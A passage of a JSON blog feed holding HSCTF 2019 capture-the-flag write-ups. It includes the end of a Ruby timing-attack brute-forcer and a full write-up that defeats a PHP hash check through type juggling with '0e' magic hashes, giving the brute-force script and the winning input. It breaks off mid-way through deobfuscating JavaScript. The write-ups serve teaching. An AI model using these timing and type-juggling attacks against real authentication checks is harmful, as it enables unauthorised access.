class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003edelay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etry\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eflag\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nb\"\u003eputs\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34; =\u0026gt; \u003c/span\u003e\u003cspan class=\"si\"\u003e#{\u003c/span\u003e\u003cspan class=\"n\"\u003edelay\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003ems\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eupdate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelay\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eflag\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echar\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eputs\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003eCurr \u003c/span\u003e\u003cspan class=\"si\"\u003e#{\u003c/span\u003e\u003cspan class=\"n\"\u003eflag\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eputs\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Final \u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eflag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAfter running this for a long time the (thankfully) short flag is emitted.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ehsctf{sm0l_fl4g}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eHere's a timelapse of the whole process.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg src=\"/hsctf-networked/brute.gif\" alt=\"Animated GIF showing a brute force attack in progress, gradually revealing the flag\"\u003e\n\u003c/figure\u003e",
      "date_published": "2019-07-02T00:00:00Z"
    },
    {
      "id": "uYZY30vlkH60lLKbH9BtIQ",
      "url": "https://textplain.org/hsctf-md5",
      "title": "hsctf – md5 minus minus",
      "content_html": "\u003cp\u003e(\u003cem\u003ePart of a series of writeups from HSCTF 2019.\u003c/em\u003e)\u003c/p\u003e\n\u003cp\u003eThe challenge text reads:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003emd5-- == md4\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://md5--.web.chal.hsctf.com\" rel=\"noreferrer nofollow noopener\"\u003ehttps://md5--.web.chal.hsctf.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eNote: If the link above doesn't work, try \u003ca href=\"https://md4.web.chal.hsctf.com\" rel=\"noreferrer nofollow noopener\"\u003ehttps://md4.web.chal.hsctf.com\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThe challenge page is a \u003cabbr title=\"PHP: Hypertext Preprocessor\"\u003ePHP\u003c/abbr\u003e file that outputs its own contents.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$flag\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003efile_get_contents\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;/flag\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_GET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;md4\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003ehighlight_file\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"no\"\u003e__FILE__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edie\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_GET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;md4\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003ehash\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;md4\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$_GET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;md4\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eecho\u003c/span\u003e \u003cspan class=\"nv\"\u003e$flag\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eecho\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;bad\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAs it's very unlikely for the \u003cabbr title=\"Message Digest 4\"\u003eMD4\u003c/abbr\u003e hash of a string to be the same as the string itself, presumably PHP's type juggling system can be abused instead.\u003c/p\u003e\n\u003cp\u003eEven when comparing strings PHP will still convert them to other types if it feels like it. This is one of PHP's most surprising features.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ephp \u0026gt; var_dump('00000000000012345' == '12345');\nbool(true)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThey are both strings but they are \u003cem\u003estill\u003c/em\u003e converted to integers and then considered equal. This behaviour can lead to some inadventently insecure code if not careful.\u003c/p\u003e\n\u003cp\u003eHere's more surprising behaviour.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003ephp\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003evar_dump\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;0e1111111111\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;0e2222222222\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003ebool\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003ephp\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003evar_dump\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;0e1111111111\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;0e2222222222\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThose \u0026quot;strings\u0026quot; are actually zero as integers, which is how they end up being considered equal.\u003c/p\u003e\n\u003cp\u003eThis means the input needs to be a string starting with \u003ccode\u003e0e\u003c/code\u003e containing only numbers that hashes into a hash that also starts \u003ccode\u003e0e\u003c/code\u003e and only contains numbers.\u003c/p\u003e\n\u003cp\u003eBrute forcing is the way to solve this one.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$c\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"nv\"\u003e$c\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"mi\"\u003e1000000\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$n\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;0e\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$h\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ehash\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;md4\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$n\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$n\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nv\"\u003e$h\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003eFound: \u003c/span\u003e\u003cspan class=\"si\"\u003e$n\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eA counter \u003ccode\u003e$i\u003c/code\u003e is increased each iteration, and the generated \u003ccode\u003e0e\u003c/code\u003e-prefixed string is hashed and compared. The string starts at \u003ccode\u003e0e1\u003c/code\u003e and continues sequentially until a match is found. A dot is printed to the screen each million iterations to mark progress.\u003c/p\u003e\n\u003cp\u003eRunning this and waiting for a bit soon yields the first correct input.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eFound: 0e251288019\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eInputting this into the challenge reveals the flag.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ehsctf{php_type_juggling_is_fun}\n\u003c/code\u003e\u003c/pre\u003e\n",
      "date_published": "2019-07-01T00:00:00Z"
    },
    {
      "id": "exKGj8GrfSa97ofuKuBl1Q",
      "url": "https://textplain.org/hsctf-rich",
      "title": "hsctf – accessible rich internet applications",
      "content_html": "\u003cp\u003e(\u003cem\u003ePart of a series of writeups from HSCTF 2019.\u003c/em\u003e)\u003c/p\u003e\n\u003cp\u003eThe challenge text reads:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eA very considerate fellow, Rob believes that accessibility is very important!\u003c/p\u003e\n\u003cp\u003eNOTE: The flag for this challenge starts with flag{ instead of hsctf{\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThe challenge links to a download of a file \u003ca href=\"/hsctf-rich/challenge.html\" rel=\"noreferrer nofollow noopener\"\u003eindex.html\u003c/a\u003e, a \u0026quot;Magic Number Generator\u0026quot; powered by an obfuscated piece of JavaScript.\u003c/p\u003e\n\u003cp\u003eWhen unobfuscated (but otherwise unchanged), it looks like this.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003elookup\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\\x0b=\\x22epduzqf!...snip...{f1=0ejw?=0ejw?\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;charCodeAt\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;write\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003e_lookup\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ecounter\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003efn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"nx\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003e_lookup\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;push\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e](\u003c/span\u003e\u003cspan class=\"nx\"\u003e_lookup\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;shift\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]());\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003efn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"nx\"\u003ecounter\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}(\u003c/span\u003e\u003cspan class=\"nx\"\u003elookup\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xbd\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eget\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ehex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003ehex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ehex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003elookup\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ehex\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003es\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;0x0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003em\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"nx\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan 